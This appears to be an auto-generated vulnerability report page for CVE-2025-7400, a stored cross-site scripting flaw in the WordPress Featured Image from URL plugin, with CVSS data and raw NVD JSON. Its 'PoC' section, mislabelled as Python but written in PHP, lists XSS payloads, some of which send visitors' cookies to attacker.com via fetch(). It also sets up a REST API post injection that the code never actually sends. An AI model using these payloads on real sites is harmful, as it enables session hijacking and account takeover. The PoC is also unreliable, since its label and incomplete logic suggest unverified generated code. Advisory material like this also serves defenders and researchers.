Security Vulnerability Report
中文
CVE-2025-7400 CVSS 6.4 MEDIUM

CVE-2025-7400

Published: 2025-10-07 08:15:35
Last Modified: 2026-04-15 00:35:42

Description

The Featured Image from URL (FIFU) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via a post's Featured Image custom fields in all versions up to, and including, 5.2.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. NOTE: This vulnerability was partially fixed in version 5.2.2.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Featured Image from URL (FIFU) < 5.2.2
Featured Image from URL (FIFU) 5.2.2 - 5.2.7(部分修复,仍存在风险)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-7400 - FIFU Plugin Stored XSS PoC * * This PoC demonstrates how an authenticated Contributor-level user * can inject malicious JavaScript via the Featured Image custom fields * of the FIFU plugin, which will execute when other users view the post. * * Usage: * 1. Log in to WordPress as a Contributor or higher. * 2. Create a new post via wp-admin/post-new.php or wp-admin/admin-ajax.php. * 3. Inject the malicious payload into the FIFU custom fields * (e.g., fifu_image_url or related meta keys). */ // Malicious payload to inject into FIFU custom field (e.g., fifu_image_url) $malicious_payload = '"><script>alert("XSS-CVE-2025-7400:"+document.cookie)</script>'; // Alternative payloads for different contexts: $payload_img_onerror = '"><img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">'; $payload_svg = '"><svg onload="alert(document.domain)">'; $payload_event_handler = '"><a href="javascript:fetch(\'https://attacker.com/?cookie=\'+document.cookie)">Click me</a>'; // Example: Inject via WordPress REST API (requires authentication) $wp_api_endpoint = 'https://target-wordpress-site.com/wp-json/wp/v2/posts'; $post_data = array( 'title' => 'Test Post', 'content' => 'Post content here', 'status' => 'publish', 'meta' => array( 'fifu_image_url' => $malicious_payload, // Inject into FIFU meta field ), ); /* * The above payload will be stored in the wp_postmeta table without sanitization. * When the post is rendered on the frontend, the plugin outputs the meta value * directly into the HTML without escaping, causing the script to execute * in the context of any visitor's browser session. * * Impact: * - Cookie theft / session hijacking * - Admin account takeover * - Malicious redirects * - Drive-by malware distribution */ echo "PoC payload ready: " . $malicious_payload . "\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-7400", "sourceIdentifier": "[email protected]", "published": "2025-10-07T08:15:35.287", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Featured Image from URL (FIFU) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via a post's Featured Image custom fields in all versions up to, and including, 5.2.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. NOTE: This vulnerability was partially fixed in version 5.2.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3362830/featured-image-from-url", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a4eeaf05-ec86-4d99-bc00-81f7f99e88ce?source=cve", "source": "[email protected]"}]}}